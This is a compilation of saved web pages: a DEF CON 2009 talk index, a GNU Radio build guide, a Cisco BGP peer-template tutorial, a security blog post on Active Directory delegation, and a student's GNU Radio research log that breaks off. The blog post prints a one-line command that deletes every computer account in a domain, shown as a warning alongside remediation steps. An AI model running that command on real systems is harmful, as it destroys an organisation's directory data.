### Fragging Game Servers

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Pratap Prabhu, Yingbo Song, Salvatore. J. Stolfo

### Smashing the Stack with Hydra: The Many Heads of Advanced Polymorphic
Shellcode

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Psifertex UPDATED

### Maximum CTF: Getting the Most Out of Capture the Flag

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Danny Quist, Lorie M. Liebrock

### Reverse Engineering By Crayon: Game Changing Hypervisor Based Malware
Analysis and Visualization

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Daniel Raygoza

### Automated Malware Similarity Analysis

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Paul F. Renda

### Injecting Electromagnetic Pulses into Digital Devices

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
RenderMan, Michael "theprez98" Schearer UPDATED

### Hacker vs. Disasters Large and Small: Hacker Skills for Wilderness and
Disaster Survival

Read It\! \(PDF 1, 2\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jim Rennie

### So You Got Arrested in Vegas...

Read It\! \(PDF\) Extras \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Matt Richard, Steven Adair

### 0-day, gh0stnet and the inside story of the Adobe JBIG2 vulnerability

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Nicolle Neulist "RogueClown"

### Hackerspaces: The Legal Bases

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
David Rook UPDATED

### The security risks of Web 2.0

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jon Rose

### Deblaze - A Remote Method Enumeration Tool for Flex Servers

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Antonio "Tony" Rucci

### Protecting Against and Investigating Insider Threats \(A methodical,
multi-pronged approach to protecting your organization\)

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Adam Savage

### Failure

See it\! \(Speaker & Slides\) Hear it\! \(m4b audio\)

return to top

* * *
Jason Schlesinger

### Cloud Security in Map/Reduce

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Bruce Schneier

### Q & A with Bruce Schneier

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Michael Schrenk UPDATED

### Screen Scraper Tricks: Extracting Data from Difficult Websites

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jason Scott

### That Awesome Time I Was Sued For Two Billion Dollars

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sumit Siddharth UPDATED

### The Making of the second SQL injection Worm

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Peter Silberman, Steve Davis

### Metasploit Autopsy: Recontructing the Crime Scene

See Metasploit Track for video and audio.

return to top

* * *
Christopher Soghoian

### Manipulation and Abuse of the Consumer Credit Reporting Agencies

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Dominic Spill, Michael Ossmann, Mark Steward

### Bluetooth, Smells Like Chicken

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jayson E. Street

### "I Am Walking Through a City Made of Glass and I Have a Bag Full of Rocks"
\(Dispelling the Myths and Discussing the Facts of Global Cyber-Warfare\)

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Mark Ryan Del Moral Talabis

### Dangerous Minds: The Art of Guerrilla Data Mining

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Sean "Frank^2" Taylor

### Binary Obfuscation from the Top-Down: Obfuscating Executables Without
Writing Assembly

Read It\! \(PDF\) Extras \(ZIP\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Richard Thieme

### Hacking UFOlogy 102: The Implications of UFOs for Life, the Universe, and
Everything

See it\! \(m4v video\) Hear it\! \(m4b audio\)

return to top

* * *
Richard Thieme

### Hacking, Biohacking, and the Future of Humanity

See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
TK234

### PLA Information Warfare Development Timeline and Nodal Analysis

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Marc Weber Tobias, Matt Fiddler, Tobias Bluzmanis UPDATED

### Invisible Access: Electronic Access Control, Audit Trails and "High
Security"

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Efrain Torres

### Metasploit Goes Web

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Tottenkoph

### Good Vibrations: Hacking Motion Sickness on the Cheap

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Valsmith, Colin Ames, David Kerb

### MetaPhish

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Charlie Vedaa, "Anonymous secondary speaker"

### Proxy Prank-o-Matic

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Rafael Dominguez Vega UPDATED

### USB Attacks: Fun with Plug & 0wn

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Videoman

### Hacking with GNURadio

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Matt Weir, Professor Sudhir Aggarwal UPDATED

### Cracking 400,000 Passwords, or How to Explain to Your Roommate why the
Power Bill is a Little High…

Read It\! \(PDF\) Extras \(TAR.GZ\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Thomas Wilhelm

### Hacking WITH the iPod Touch

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Jeff Yestrumskas, Matt Flick

### Cross Site Scripting Anonymous Browser 2.0

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Edward Zaborowski UPDATED

### Doppelganger: The Web's Evil Twin

Read It\! \(PDF | White Paper\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

* * *
Mike Zusman

### Criminal Charges are not pursued: Hacking PKI

Read It\! \(PDF\) See it\! \(Speaker & Slides | Slides\) Hear it\! \(m4b audio\) 
return to top

## Panels

* * *
* * *
Kurt Opsahl, Jennifer Granick, Kevin Bankston, Fred von Lohmann, Marcia
Hofmann, Peter Eckersley

### Ask EFF: The Year in Digital Civil Liberties

See it\! \(m4v video\) Hear it\! \(m4b audio\)

return to top

* * *
Jim Christy , Mike Convertino, John Garris, Barry Grundy, Bob Hopper, Mischel
Kwon, Robert Lentz, Rich Marshall, Stephane Turgeon, Gordon Snow, Ken
Privette, Paul Sternal, Jamie Turner, Lin Wells, Rod Beckstrom, Jerry Dixon,
Andy Fried, Greg Garcia, Jon Idonisi, Ray Kessenich, Kevin Manson

### Meet the Feds 2009

See it\! \(m4v video\) Hear it\! \(m4b audio\)

return to top

© 1992-2009 DEF CON Communications, Inc. Home | Privacy Policy | RSS Feed | DEF CON Forums | DEF CON Pics

# GNU Radio - CMakeWork - gnuradio.org

**Created:**| _12/2/2011 12:19:21 PM_  
---|---  
**Updated:**| _12/2/2011 12:19:21 PM_  
**Author:**| __  
**Tags:**| _Gnuradio_  
  

  * CMakeWork
    * Install the dependencies
      * UNIX dependencies
      * Windows dependencies
    * Get the source code
    * Configure the build
      * UNIX configuration
      * Windows configuration
      * Component selection
    * Build the source
      * Makefiles
      * MSVC command prompt
      * MSVC GUI
    * Post-installation tasks
      * UNIX post-installation
      * Windows post-installation

# CMakeWork

The goal here is to build gnuradio under various systems using CMake.

## Install the dependencies

### UNIX dependencies

  * Install CMake through your OS's package manager or by some other means.
  * Follow the OS specific instructions to install other dependencies: BuildGuide

### Windows dependencies

Dependency | Purpose | Notes | URL   
---|---|---|---  
git | checkout source code | Choose install option: Add to PATH | http://code.google.com/p/msysgit/  
cmake | build system | Choose install option: Add to PATH | http://www.cmake.org/cmake/resources/software.html  
boost | all libraries |  | http://www.boostpro.com/download/  
cppunit | C++ unit tests | Build lib/dll with project file | http://gaiacrtn.free.fr/cppunit/index.html  
fftw | gnuradio-core | Manually generate .lib from .def | http://www.fftw.org/install/windows.html  
gsl | gnuradio-core | Manually generate .lib from .def | http://gnuwin32.sourceforge.net/packages/gsl.htm  
swig | python wrapped blocks |  | http://www.swig.org/download.html  
python | build system | Use 2.6 or 2.7 | http://www.python.org/download/  
SDL | video-sdl component |  | http://www.libsdl.org/download-1.2.php  
qt | qtgui component |  | http://qt.nokia.com/downloads/  
qwt | qtgui component | Follow README to build | http://sourceforge.net/projects/qwt/  
pyqt | qtgui component |  | http://www.riverbankcomputing.co.uk/software/pyqt/download  
pyqwt | qtgui component |  | http://pyqwt.sourceforge.net/download.html  
numpy | many components |  | http://sourceforge.net/projects/numpy/files/NumPy/  
setuptools | gnuradio companion | easy install.exe Cheetah lxml | http://pypi.python.org/pypi/setuptools  
pygtk | gnuradio companion | Use the all-in-one installer | http://www.pygtk.org/downloads.html  
doxygen | generated documentation |  | http://www.stack.nl/~dimitri/doxygen/download.html  
* * *
## Get the source code

The master branch of gnuradio.git has cmake support:  
http://gnuradio.org/redmine/projects/gnuradio/wiki/Download

* * *
## Configure the build

### UNIX configuration

[code]

    mkdir <gnuradio build directory>
    cd <gnuradio build directory>
    cmake <gnuradio source directory>
    
    -- OR --
    
    cmake-gui <gnuradio source directory>
    
[/code]

### Windows configuration

  * Open the CMake GUI from the start menu
  * Specify the source and binary directories
  * Now the following is an iterative process: 
    * Click configure
    * Enter parameters
    * Repeat until all desired components are enabled
  * Click generate

A screen-shot of a configured gnuradio build: http://i.imgur.com/8qXWb.png

### Component selection

By default, the build system will enable all components that it can find
dependencies for.  
Use cmake-gui or ccmake \(curses\) to graphically enable or disable
components.  
Or follow the examples below to configure via the command line:

Disable some components:  

[code]

    cmake -DENABLE_GR_AUDIO=OFF <gnuradio source directory>
    
[/code]

Disable all components by default and manually enable desired components:  

[code]

    cmake -DENABLE_DEFAULT=OFF -DENABLE_GRUEL=ON -DENABLE_GR_CORE=ON <gnuradio source directory>
    
[/code]

Cause configure to error when an enabled component does not meet dependencies:  

[code]

    cmake -DENABLE_GR_QTGUI=FORCE <gnuradio source directory>
    
[/code]

* * *
## Build the source

CMake has generated a build environment depending upon your system type and
the generator options passed into CMake. Below is some documentation for the
using the most common build environments \(Makefiles on UNIX, and MSVC on
Windows\):

### Makefiles

Open a terminal and enter the following commands:  

[code]

    cd <gnuradio build directory>
    make
    make test
    sudo make install
    sudo ldconfig
    
[/code]

### MSVC command prompt

Open the Visual Studio command prompt and enter the following commands:  

[code]

    cd <gnuradio build directory>
    devenv gnuradio.sln /build Release /project ALL_BUILD
    devenv gnuradio.sln /build Release /project RUN_TESTS
    devenv gnuradio.sln /build Release /project INSTALL
    
[/code]

### MSVC GUI

  * Open <gnuradio build directory>\gnuradio.sln in Visual Studio
  * Set the build type to Release
  * Right click on the "ALL\_BUILD" target and select Build
  * Right click on the "RUN\_TESTS" target and select Build
  * Right click on the "INSTALL" target and select Build

* * *
## Post-installation tasks

In general, you need to set the bin path, the library path, and the python
path for your new gnuradio installation.

### UNIX post-installation

Follow the OS specific instructions to setup install paths: BuildGuide

### Windows post-installation

You need to set the PATH and PYTHONPATH path environment variables. I
recommend using Rapid Environment Editor

  * Set the PATH to include <gnuradio install directory>/bin
  * Set the PYTHONPATH to include <gnuradio install directory>/lib/site-packages
  * Add the dlls from all dependency libraries into the PATH or copy them into <gnuradio install directory>/bin

# BGP peer templates - Packet Life

**Created:**| _1/12/2010 9:49:52 AM_  
---|---  
**Updated:**| _1/12/2010 9:50:04 AM_  
**Author:**| __  
**Tags:**| _network-security_  
  

# BGP peer templates

By stretch | Tuesday, January 12, 2010 at 1:59 a.m. UTC
When Cisco introduced peer groups for BGP neighbors, their intention was to
associate neighbors which shared routing policies in an effort to optimize CPU
utilization. A side effect of peer-group configuration is reduced syntax. For
example, consider the following verbose configuration:

[code]

    neighbor 192.168.0.1 remote-as 100
    neighbor 192.168.0.1 ttl-security hops 1
    neighbor 192.168.0.1 timers 30 300
    neighbor 192.168.0.2 remote-as 100
    neighbor 192.168.0.2 ttl-security hops 1
    neighbor 192.168.0.2 timers 30 300
    neighbor 192.168.0.3 remote-as 100
    neighbor 192.168.0.3 ttl-security hops 1
    neighbor 192.168.0.3 timers 30 300
    neighbor 192.168.0.4 remote-as 100
    neighbor 192.168.0.4 ttl-security hops 1
    neighbor 192.168.0.4 timers 30 300
    
    
[/code]

These twelve lines become only eight after implementing a peer group, removing
much redundancy from the original configuration:

[code]

    neighbor MyGroup peer-group
    neighbor MyGroup remote-as 100
    neighbor MyGroup ttl-security hops 1
    neighbor MyGroup timers 30 300
    neighbor 192.168.0.1 peer-group MyGroup
    neighbor 192.168.0.2 peer-group MyGroup
    neighbor 192.168.0.3 peer-group MyGroup
    neighbor 192.168.0.4 peer-group MyGroup
    
    
[/code]

Unfortunately, because simplified syntax was never the primary goal of peer
groups, they can still be rather unwieldy when attempting to configure
neighbors with similar, but not  _identical_ , routing policies.

In IOS 12.0\(24\)S, Cisco introduced dynamic update peer groups, a feature
which essentially enables the software to automatically group BGP neighbors
into peer groups and generate update messages accordingly. Although this new
feature effectively obsoleted manually defined peer groups, they have stuck
around as many administrators appreciate the convenience they offer in
configuration.

Around the same time dynamic update peer groups were introduced, Cisco also
debuted BGP peer templates. With the burden of CPU optimization delegated to
dynamic update peer groups, peer templates introduced a much more flexible,
hierarchical peer configuration scheme. There are two types of peer
templates:_session templates_ and  _policy templates_.

Session templates affect the actual BGP session with a neighboring router,
whereas policy templates affect protocol-specific \(NLRI\) policy \(e.g. IPv4
versus IPv6\). The following table lists which parameters are defined in each
type of template \(as of IOS 12.4T\):

Session Templates | Policy Templates   
---|---  
  * allowas-in
  * description
  * disable-connected-check
  * ebgp-multihop
  * fall-over
  * local-as
  * password
  * remote-as
  * shutdown
  * timers
  * translate-update
  * transport
  * ttl-security
  * update-source
  * version

|

  * advertisement-interval
  * allowas-in
  * as-override
  * capability
  * default-originate
  * distribute-list
  * dmzlink-bw
  * filter-list
  * maximum-prefix
  * next-hop-self
  * next-hop-unchanged
  * prefix-list
  * remove-private-as
  * route-map
  * route-reflector-client
  * send-community
  * send-label
  * soft-reconfiguration
  * soo
  * unsuppress-map
  * weight

  
To illustrate how peer templates work, consider the following peer group
configuration:

[code]

    router bgp 65200
     no synchronization
     bgp router-id 10.0.0.3
     bgp log-neighbor-changes
     neighbor IBGP-Peers peer-group
     neighbor IBGP-Peers remote-as 65200
     _neighbor IBGP-Peers timers 30 300_
     neighbor EBGP-Peers peer-group
     neighbor EBGP-Peers ttl-security hops 1
     _neighbor EBGP-Peers timers 30 300_
     neighbor 10.0.1.1 remote-as 65101
     neighbor 10.0.1.1 peer-group EBGP-Peers
     neighbor 10.0.1.2 remote-as 65102
     neighbor 10.0.1.2 peer-group EBGP-Peers
     neighbor 10.0.2.4 peer-group IBGP-Peers
     neighbor 10.0.2.5 peer-group IBGP-Peers
     no auto-summary
    
    
[/code]

Two peer groups have been created: one for IBGP neighbors, and one for EBGP
neighbors. Each group defines some unique session characteristics, but they
both also have one in common \(the BGP timers configuration\). Because of the
way peer groups work \(again, they were originally intended only for CPU
optimization\), common attributes must be replicated across peer groups,
introducing redundancy in the configuration.

<img src='img/Temp2_965.png' alt='peer_groups_hierarchy.png' />

Peer templates embrace a hierarchical approach to combat such redundancy. We
can create one template for session parameters common to all BGP neighbors,
and then create more-specific templates which inherit those parameters.
Templates are created under the BGP routing process:

[code]

    R3(config)# **router bgp 65200**
    R3(config-router)# **template ?**
      peer-policy   Template configuration for policy parameters
      peer-session  Template configuration for session parameters
    
    R3(config-router)# **template peer-session BGP-All**
    R3(config-router-stmp)# **timers 30 300**
    R3(config-router-stmp)# **exit-peer-session**
    R3(config-router)#
    
    
[/code]

The **BGP-All** template holds the `timers` configuration line we want to
apply to all peers. Next we'll create separate IBGP and EBGP templates, both
of which will inherit parameters from the **BGP-All** template using the
`inherit peer-session` command.

<img src='img/Temp2_966.png' alt='peer_templates_hierarchy.png' />

The completed configuration looks like this:

[code]

    router bgp 65200
     template peer-session BGP-All
      timers 30 300
     exit-peer-session
     !
     template peer-session IBGP
      remote-as 65200
      inherit peer-session BGP-All
     exit-peer-session
     !
     template peer-session EBGP
      ttl-security hops 1
      inherit peer-session BGP-All
     exit-peer-session
     !
     no synchronization
     bgp router-id 10.0.0.3
     bgp log-neighbor-changes
     neighbor 10.0.1.1 remote-as 65101
     neighbor 10.0.1.1 inherit peer-session EBGP
     neighbor 10.0.1.2 remote-as 65102
     neighbor 10.0.1.2 inherit peer-session EBGP
     neighbor 10.0.2.4 inherit peer-session IBGP
     neighbor 10.0.2.5 inherit peer-session IBGP
     no auto-summary
    
    
[/code]

Admittedly, with only four neighbors and only two significant classifications
\(EBGP and IBGP\), the improvement might not seem all that drastic. But
consider the efficiency afforded when configuring dozens of BGP peers in a
similar matter.

The above example demonstrates peer session templates at work. As you might
have guessed, peer  _policy_ templates work very similarly:

[code]

    R3(config-router)# **template peer-policy BGP-All**
    R3(config-router-ptmp)# **prefix-list DENY-MARTIANS in**
    R3(config-router-ptmp)# **exit-peer-policy**
    R3(config-router)# **neighbor 10.0.1.1 inherit peer-policy BGP-All**
    
    
[/code]

Policy template inheritance works the same way, but with the `inherit peer-
policy` command.

Finally, the `show ip bgp template` command can be used to verify template
inheritance:

[code]

    R3# **show ip bgp template peer-session**
    Template:BGP-All, index:1
    Local policies:0x20, Inherited polices:0x0
     *Inherited by Template IBGP, index= 2 
     *Inherited by Template EBGP, index= 3 
    Locally configured session commands: 
     timers 30 300
    Inherited session commands:
    
    Template:IBGP, index:2
    Local policies:0x1, Inherited polices:0x20
    This template inherits: 
      BGP-All index:1 flags:0x0
    Locally configured session commands: 
     remote-as 65200
    Inherited session commands: 
     timers 30 300
    
    Template:EBGP, index:3
    Local policies:0x800, Inherited polices:0x20
    This template inherits: 
      BGP-All index:1 flags:0x0
    Locally configured session commands: 
     ttl-security hops 1
    Inherited session commands: 
     timers 30 300
    
    R3# **show ip bgp template peer-policy**
    Template:BGP-All, index:1.
    Local policies:0x40, Inherited polices:0x0
    Locally configured policies: 
      prefix-list DENY-MARTIANS in
    Inherited policies: 
    
[/code]

# Home Of PaulDotCom Security Podcast

**Created:**| _1/11/2010 1:52:48 PM_  
---|---  
**Updated:**| _1/11/2010 1:53:01 PM_  
**Author:**| __  
**Tags:**| _windows security_  
  

### GONE IN 60 SECONDS

<img src='img/Temp2_3964.jpg' />  
Gone in 60 Seconds

The permissions assigned by many organizations through the Active Directories
Delegation wizard and/or the computer account creation processes are more
permissive that they should be. As a result, just about anyone can delete
every computer account in an Active directory domain.

In Active Directory computers have accounts just like users. So as computers
in your environment are deployed, or wiped and reloaded as a result of
viruses, employee turnover, etc, technicians in the field need to have "Add
computer account to the Domain" permissions or you need to give a few people
permissions to stage the computer accounts. When you create a new computer
object in AD \(a staged account\) you have the chance to define who can add
that computer to your domain. \(IMAGE1\)

<img src='img/Temp2_3965.jpg' />

Picture of Add Computer Account Dialog w/ default permissions

You can see that by default Windows wants you to give "Domain Admins"
permission to add the computer to the domain. Indeed, limiting this permission
to Domain Admins is a pretty good idea as you will see in a minute. Limiting
the permission to "Domain Admins" would be great from a security standpoint,
but in most environments Domain Admin are pretty busy people are generally are
not available to add every computer to the network. So organizations will
change this privilege to a larger group such as "Authenticated Users" or
"Everyone" as new staged computer object are created. Worse yet, in a some
large environment even staging computer accounts may seem like a burden. In
those organizations they often delegate the ability to add computers to the
domain to a larger user base using the Active Directory Delegation Wizard or
through group policy. As a matter of fact, this technet article from Microsoft
walks users through giving all "Authenticated Users" the ability to add
workstations to the domain. The end result is in many organizations the
ability to "Add Computer Accounts to the Domain" are extended to a pretty
large group of people. Often, everyone can add computers to the domain.

So is that bad? I have spoken with a few systems administrators who asked the
question "Why not let everyone add their computer to the domain? You want
everyone in your domain right? If someone wants to volunteer for password
complexity requirements, screen savers time outs, etc why not let them?"
Hmmm.... That sounds tempting. Why NOT let everyone add computers to the
domain? Is this a case where the principle of least required access is wrong?
No. In my opinion, there are very good reasons to limit who can add computer
objects to your domain and this is just one of them.

Here is the problem, if you give Authenticated Users the ability to add a
computer account they get the following permissions:

Allow DOMAIN\Authenticated Users SPECIAL ACCESS  
DELETE  
READ PERMISSONS  
LIST CONTENTS  
READ PROPERTY  
DELETE TREE  
LIST OBJECT  
CONTROL ACCESS

  
As you can see, among the permissions that are assigned is the ability to
DELETE that object. If these are the permissions assigned to all the computer
objects in your domain then any authenticated user on your network could drop
to a command prompt and delete ALL the computers in your domain with one
simple command.

Any disgruntled authenticated user with a command prompt or piece of malware with a temper can execute "_**dsquery computer -limit 0 | dsrm**_ " and you have a really really bad day on your hands. In one fell swoop every computer account in the domain is deleted. 
Could all your computer object be deleted that easily? Chances are good that
they could be. To know for sure, go through some of your computer objects and
see what permissions are assigned to the objects. Who has the ability to
delete your computer objects? This command will show you the permissions on
your computer objects:

_**for /F "tokens=" %i in \('dsquery computer -limit 0'\) do dsacls %i | more**_
Need to fix it? dsacls.exe lets you set the permissions on your computer
objects as well. So drop to a command prompt and figure out what the dsacls
syntax is to set the appropriate permissions for your environment. Here is a
reference on dsacls.

First figure out what permissions to set on one computer object doing
something like this:

_**dsacls "CN=COMPNAME,OU=SomeOU,DC=DOMAINNAME,DC=com" /D
"everyone":"SDDT;;"**_

Once you have the permissions setup for one object, run dsacls against all
computer objects in the domain like this:

_**for /F "tokens=" %i in \('dsquery computer -limit 0'\) do dsacls %i /D
"everyone":"SDDT;;"**_

Be sure to address both "Authenticated Users" and "Everyone". Keep in mind
that you need to schedule these commands to be run on a regular interval to
address new computer objects that are constantly being created. Of course the
best solution is to limit who can join a computer to your domain when the
computer account is created.

Here is some sample output from dsacls. In the example below
"Domain\badaccess" is what you do NOT want "everyone" or "authenticated users"
to have. The rest of the permissions are the defaults and do not put your
computer objects at risk.

_**dsacls "CN=TEST Computer Account,OU=OUNAME,DC=DOMAINNAME,DC=com"**_

  
Allow DOMAIN\Domain Admins FULL CONTROL  
Allow BUILTIN\Account Operators FULL CONTROL  
Allow NT AUTHORITY\SYSTEM FULL CONTROL  
Allow DOMAIN\badaccess SPECIAL ACCESS  
DELETE  
READ PERMISSONS  
LIST CONTENTS  
READ PROPERTY  
DELETE TREE  
LIST OBJECT  
CONTROL ACCESS  
Allow NT AUTHORITY\Authenticated Users SPECIAL ACCESS  
READ PERMISSONS  
LIST CONTENTS  
READ PROPERTY  
LIST OBJECT  
Allow NT AUTHORITY\SELF SPECIAL ACCESS  
CREATE CHILD  
DELETE CHILD  
Allow Domain\admingroup FULL CONTROL

# ational Science Foundation Research Experience for Undergraduates

**Created:**| _9/2/2010 1:36:48 PM_  
---|---  
**Updated:**| _9/8/2010 5:27:21 PM_  
**Author:**| _marius_  
**Tags:**| _bookmark research awesome USRP_  
  
  
  
National Science Foundation Research Experience for Undergraduates  
Stevens Institute of Technology, Summer 2009  
  
|  **Name:  
E-mail:** | Anthony Hsu  
anthony.hsu@yale.edu   | <img src='img/me.JPG?height=200&width=143' width='143' height='200' />  
---|---|---  
 **About Me:** | I am a rising sophomore at Yale University studying Electrical Engineering and Computer Science.  I spent most of my life growing up in Morris Plains, New Jersey.  In my spare time, I enjoy running, playing tennis, web design, solving puzzles, and playing in the band.    
**Research Topic:  
  
  
**| Pseudorandom Multiband Frequency Hopping for Interference Avoidance Using
GNU Radio and Universal Software Radio Peripheral \(USRP\)  
**Final Research Poster**, **Final Research Report** , **Final Research
Paper**  
  
 **Group Members:  
Advisers:** | Me, Thomas Bell, Kevin Gajewski  
Professor Yu-Dong Yao, Fangming He |    
  

* * *
  
_Weekly Reports  
_ **  
Week 1 \(5/18-5/22\)** After touring the lab and hearing about all the
research projects, I decided to work on the GNU Radio and its application to
the Universal Software Radio Peripheral \(USRP\). This first week, my group
installed the latest version of Ubuntu Linux on our computers. We downloaded
the GNU Radio software package and followed the installation guide to
configure the GNU Radio. Just to build and compile the GNU Radio, we had to
download over 25 packages. In this process, we encountered several errors,
which took a couple days to resolve. At one point, we even reinstalled Ubuntu
and started the installation completely over again. On Friday, with Fang
Ming's help, we fixed all the build and compilation errors.  Then we tested
the USRP with each of our computers and we were successful in running several
of the example scripts.  
  
---  
**Week 2 \(5/25-5/29\)** Over Memorial Day weekend, a stable version of GNU
Radio 3.2 was released. We downloaded and installed this version. This latest
version comes with a new feature called the GNU Radio Companion \(GRC\), which
allows one to create flow graphs with signal processing blocks graphically. We
spent most of this week learning to use the GRC and creating some flow graphs
in it.  
  
Also, the two Flex 900 USRPs \(with a 800-1000 MHz transceiver\) we ordered
arrived. \(Before we were using a Flex 400 USRP, which has a 400-500 MHz
transceiver.\) We tested out the new USRPs and they seem to be working okay.
Right now, we are still having trouble picking up a clear signal. In the next
week, we hope to improve the signal quality and also start experimenting with
transmitting signals.  
  
_Pictures_ : \(click to enlarge\)  
  
| Noisy signal from USRP: | Screenshot of GRC flow graph of a dial tone:  
---|---  
<img src='img/usrp_tv.png?height=200&width=326' width='326' height='200' />|
<img src='img/dial_tone_grc.png?height=200&width=326' width='326' height='200'
/>  
  

Dial tone audio, with parameters as shown in GRC screenshot:   
  
  
**Week 3 \(6/1-6/5\)**  
  
This week, the antennas purchased from Ettus Research \(which made the USRPs
we are using\) arrived, and they are specifically designed for the Flex 400
and Flex 900 boards we are using. With these new antennas, we were able to
transmit and receive signals successfully. Below is a picture showing our lab
setup followed by a video demonstrating the wireless transfer of some data
packets from one USRP to the other.  
  
| <img src='img/CIMG1017.JPG?height=314&width=420' width='420' height='314'
/>| \(Click picture to enlarge.\)  
  
Our setup: two laptops, each connected via USB to a Flex 900 USRP with one of
the new antennas attached.  You also see a spectrum analyzer machine, also
with one of the new antennas attached.  
---|---  
 **Video    ** | **Explanation**  
  
| First, we started the receiving program on one laptop \(with the black
background\), and then we started the transmitting program on the other laptop
\(with the white background\).  Once transmission starts \(at 985 MHz\), you
see the signal appear on the spectrum analyzer and then you see data packets
being received on the other laptop \(black background\).  
  
Next, the transmission is stopped, the signal disappears on the spectrum
analyzer, and the status on the receiving laptop changes to 'False' and the
receiving terminates.  
  
  
In the coming week, we hope to start writing our own signal processing blocks
and be able to use them in the GNU Radio Companion.  We are also exploring the
idea of importing Matlab library functions.  Currently, one can only write
blocks in C++, but we hope to expand this to include other languages such as
Matlab.  
  
  
  
**Week 4 \(6/8-6/12\)**  
  
We discovered that one of the Flex 900 USRPs \(which we labeled 1 and 2\) has
a much weaker transmitting signal than the other.  Using usrp\_probe, a built-
in function to get information about the USRP, we found that the weaker
transmitter board supports MIMO, though we are currently only using one
antenna for it.  
  
Using the benchmark\_tx.py and benchmark\_rx.py example Python scripts \(as
demonstrated in the video for Week 3\), we are able to transmit and receive
signals both ways between our two Flex 900 USRPs.  However, when trying to
recreate transmission and reception programs using the GNU Radio Companion
\(GRC\), we were only able to get transmission to work.  Right now, we still
cannot get a reception program designed in GRC working.  
  
The majority of our week was spent reading a set of 11 PDFs written by Dawei
Shen that gives an introduction to GNU Radio, the USRP hardware, signal
processing, and writing programs and blocks for GNU Radio in Python and C++.  
  
  
  
**Week 5 \(6/15-6/19\)**  
  
Last week, we were only able to successfully design a transmission program in
the GNU Radio Companion \(GRC\).  This week, we successfully created receiving
programs as well.  We are now able to transmit a signal from one USRP to
another using the programs we designed in the GRC.  
  
We also discovered that if you want to listen to the signal source you are
sending, you cannot connect the same signal source to both the USRP sink and
an audio sink.  You have to create two duplicate signal sources and connect
one to the USRP sink and one to the audio sink.  
  
| Wrong: \(click to enlarge\)  
| Right: \(click to enlarge\)  
  
---|---  
<img src='img/tx_wrong.png?height=262&width=420' width='420' height='262' />  
| <img src='img/tx.png?height=262&width=420' width='420' height='262' />  
  
  
We also noticed that under default settings, both Flex 900 USRPs transmit best
\(largest amplitude\) between 890 MHz and 930 MHz.  Outside this range, the
signal diminishes in strength the farther from this range you get.  
  
This week, we also created a program that can both transmit and receive
simultaneously.  However, we do not yet know if what we set up is a half-
duplex system \(alternating transmitting and receiving very rapidly\) or a
full-duplex system \(two separate channels - one transmitting and one
receiving\).  
  
Finally, we edited the transmission program code generated by the GRC so that
the USRP would automatically change the transmission frequency every two
seconds without a human manually changing the frequency.  
  
**Video:**  
| **Explanation:**  
  
---|---  
| In the first twenty seconds, the frequency increases every two seconds by 10
MHz, from 900 to 1000 MHz. Then in the next twenty seconds, the frequency
